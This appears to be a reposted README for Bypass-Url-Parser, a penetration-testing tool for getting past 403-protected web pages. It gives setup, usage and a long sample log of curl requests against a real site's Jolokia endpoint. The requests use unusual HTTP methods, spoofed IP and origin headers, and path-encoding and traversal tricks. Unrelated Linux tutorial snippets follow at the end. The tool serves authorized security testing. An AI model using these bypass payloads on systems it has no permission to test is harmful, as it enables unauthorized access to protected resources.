Bypass-Url-Parser is a Tool that tests MANY url bypasses to reach a 40X protected page.
If you wonder why this code is nothing but a dirty curl wrapper, here’s why:
This is surprisingly hard to achieve in python without losing all of the lib goodies like parsing, ssl/tls encapsulation and so on.
So, be like me, use curl as a backend, it’s gonna be just fine.
Deps
sudo apt install -y bat curl virtualenv python3
Tool
virtualenv -p python3 .py3
source .py3/bin/activate
pip install -r requirements.txt
./bypass-url-parser.py –url “http://127.0.0.1/juicy_403_endpoint/”
Bypass Url Parser, made with love by @TheLaluka
A tool that tests MANY url bypasses to reach a 40X protected page.
Usage:
./bypass-url-parser.py –url= [–outdir=] [–threads=] [–timeout=] [(–header=)…] [–spoofip=] [–debug]
./bypass-url-parser.py (-h | –help)
./bypass-url-parser.py (-v | –version)
Options:
-h –help Show help, you are here 🙂
-v –version Show version info.
–url= URL (path is optional) to run bypasses against.
–outdir= Output directory for results.
–timeout= Request times out after N seconds [Default: 3].
–threads= Scan with N parallel threads [Default: 1].
–header= Header(s) to use, format: “Cookie: can_i_haz=fire”.
–spoofip= IP to inject in ip-specific headers.
–debug Enable debugging output, to… Tou know… Debug.
Example:
./bypass-url-parser.py –url “http://127.0.0.1/juicy_403_endpoint/” –spoofip 8.8.8.8 –debug
./bypass-url-parser.py –url “http://127.0.0.1/juicy_403_endpoint/” –threads 30 –timeout 5 –header “Cookie: me_iz=damin” –header “Waf: bypazzzzz”
2022-05-10 15:54:03 work bup[738125] INFO === Config ===
2022-05-10 15:54:03 work bup[738125] INFO debug: False
2022-05-10 15:54:03 work bup[738125] INFO url: http://thinkloveshare.com/api/jolokia/list
2022-05-10 15:54:03 work bup[738125] INFO outdir: /tmp/tmp48drf_ie-bypass-url-parser
2022-05-10 15:54:03 work bup[738125] INFO threads: 20
2022-05-10 15:54:03 work bup[738125] INFO timeout: 2
2022-05-10 15:54:03 work bup[738125] INFO headers: {}
2022-05-10 15:54:03 work bup[738125] WARNING Stage: generate_curls
2022-05-10 15:54:03 work bup[738125] INFO base_url: http://thinkloveshare.com
2022-05-10 15:54:03 work bup[738125] INFO base_path: /api/jolokia/list
2022-05-10 15:54:03 work bup[738125] WARNING Stage: run_curls
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘CONNECT’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘GET’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘LOCK’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘OPTIONS’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘PATCH’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘POST’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘POUET’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘PUT’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘TRACE’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘TRACK’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -X ‘UPDATE’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -H ‘Access-Control-Allow-Origin: 0.0.0.0’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -H ‘Access-Control-Allow-Origin: 127.0.0.1’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -H ‘Access-Control-Allow-Origin: localhost’ ‘http://thinkloveshare.com/api/jolokia/list’
2022-05-10 15:54:03 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ -H ‘Access-Control-Allow-Origin: norealhost’ ‘http://thinkloveshare.com/api/jolokia/list’
[…]
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%252f%252f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%26//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2e//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2e%2e//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2e%2e///list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2e%2e%2f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f///list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f%20%23//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f%23//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f%2f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f%3b%2f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f%3b%2f%2f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f%3f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%2f%3f///list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b/..//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b//%2f..///list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b/%2e.//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b/%2e%2e/..%2f%2f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b/%2f%2f..///list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b%09//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b%2f..//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b%2f%2e.//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b%2f%2e%2e//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3b%2f%2e%2e%2f%2e%2e%2f%2f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3f//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3f%23//list’
2022-05-10 15:54:09 work bup[738125] INFO Current: curl -sS -kgi –path-as-is -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36’ -w ‘\nStatus: %{http_code}, Length: %{size_download}’ ‘http://thinkloveshare.com//api/jolokia//%3f%3f//list’
2022-05-10 15:54:09 work bup[738125] WARNING Stage: save_and_quit
2022-05-10 15:54:10 work bup[738125] INFO Saving html pages and short output in: /tmp/tmp48drf_ie-bypass-url-parser
2022-05-10 15:54:10 work bup[738125] INFO Triaged results shows the following distinct pages:
9: 41 – 850a2bd214c68f582aaac1c84c702b5d.html
10: 97 – 219145da181c48fea603aab3097d8201.html
10: 99 – 309b8397d07f618ec07541c418979a84.html
10: 100 – 9a1304f66bfee2130b34258635d50171.html
10: 108 – b61052875693afa4b86d39321d4170b4.html
10: 109 – 6fb5c59f5c29d23e407d6f041523a2bb.html
11: 101 – 045d36e3cfba7f6cbb7e657fc6cf1125.html
12:43116 – 9787a734c56b37f7bf5d78aaee43c55d.html
16: 41 – c5663aedf1036c950a5d83bd83c8e4e7.html
21: 156 – 7857d3d4a9bc8bf69278bf43c4918909.html
22: 107 – 011ca570bdf2e5babcf4f99c4cd84126.html
22: 109 – 6d4b61258386f744a388d402a5f11d03.html
22: 110 – 2f26cd3ba49e023dbda4453e5fd89431.html
76: 821 – bfe5f92861f949e44b355ee22574194a.html
2022-05-10 15:54:10 work bup[738125] INFO Also, inspect them manually with batcat:
echo /tmp/tmp48drf_ie-bypass-url-parser/{850a2bd214c68f582aaac1c84c702b5d.html,219145da181c48fea603aab3097d8201.html,309b8397d07f618ec07541c418979a84.html,9a1304f66bfee2130b34258635d50171.html,b61052875693afa4b86d39321d4170b4.html,6fb5c59f5c29d23e407d6f041523a2bb.html,045d36e3cfba7f6cbb7e657fc6cf1125.html,9787a734c56b37f7bf5d78aaee43c55d.html,c5663aedf1036c950a5d83bd83c8e4e7.html,7857d3d4a9bc8bf69278bf43c4918909.html,011ca570bdf2e5babcf4f99c4cd84126.html,6d4b61258386f744a388d402a5f11d03.html,2f26cd3ba49e023dbda4453e5fd89431.html,bfe5f92861f949e44b355ee22574194a.html} | xargs bat
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Kubernetes is the standard platform for running containerized workloads across multiple servers with self-healing, rolling…
Ubuntu 26.04 LTS "Resolute Raccoon" was released on April 23, 2026 with Linux kernel 7.0, GNOME desktop, and standard security support until April 2031. A clean install gives you a known-good starting point on new hardware, when replacing another operating system, or when an upgrade path is not practical. This guide walks through how to install Ubuntu 26.04: downloading and verifying the ISO, writing a bootable USB drive, completing the installer, and doing the initial setup after the first boot. Before you start: You need a USB drive with at least 12 GB of free space. Back up any existing data on the target machine — the installer can erase the entire disk. Install Ubuntu 26.04: Download the ISO…
The correct timezone affects more than the clock on your screen. It drives cron job scheduling, systemd timer execution, log file timestamps, database record timing, and SSL certificate validity checks. A mismatched timezone can cause scheduled jobs to fire at the wrong hour and make log timestamps impossible to match with real-world events. This guide shows how to change timezone on Ubuntu using the timedatectl command (the recommended approach for servers and remote machines) and through the graphical Date & Time settings on desktop systems. The steps apply to all current Ubuntu releases including 24.04 and 26.04. <strong>Prerequisite:</strong> Only the root user or a user with sudo access can change the system timezone. Check the Current Timezone Before You Change It Run timedatectl with no arguments to see the active timezone and clock status: bashtimedatectl Sample output: Local…
Atom is a free, open-source, cross-platform code editor developed by GitHub. Built on Electron, it uses…